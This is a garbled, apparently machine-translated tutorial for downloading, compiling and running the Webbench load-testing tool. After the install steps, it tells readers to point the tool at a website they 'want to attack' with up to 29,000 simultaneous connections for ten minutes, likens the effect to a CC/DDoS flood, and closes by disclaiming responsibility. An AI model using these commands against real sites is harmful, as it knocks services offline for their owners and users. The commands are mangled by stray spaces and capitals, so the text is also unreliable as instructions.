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Webbench tools, need a server, I was 2-2 configuration



Start the tutorial (in turn execute commands)



A, install compile tools

Yum install ctags wget make apr * autoconf automake GCC GCC - c + +



Second, download webbench

Wget http://www.ha97.com/code/webbench-1.5.tar.gz



Three, the installation webbench



Tar ZXVF webbench - 1.5. Tar. Gz # extract



CD webbench - 1.5 # into extract directory



Make # compiler



Mkdir/usr/local/man # create the directory, otherwise the installation failure



# make install to install



Four, pressure test



Webbench - c concurrency - t time to run the test URL



Example: webbench - 500 - c t 600 http://127.0.0.1/



Parameter description:



500 - c: said at the same time produce 500 concurrent connection



600: -t said for 600 seconds



Five, how to run after the first time



Problem: some friend speak carelessly exit after SSH or SSH for the second time in all need not to need to perform an article?



A: don't need to!



Open the way for the second time in, simply execute 2 command



CD webbench - 1.5

//into the run directory



Webbench - 29000 - c t 600 http://xxx.com/

//fill again want to attack the website



Note: webbench biggest can simulate 30000 simultaneous connections, if there is a website for the record please stop



At the end of the cc site will restore the original state, this discord DDOS



Note: please use tools correctly, use the consequences has nothing to do with himself!!!!!!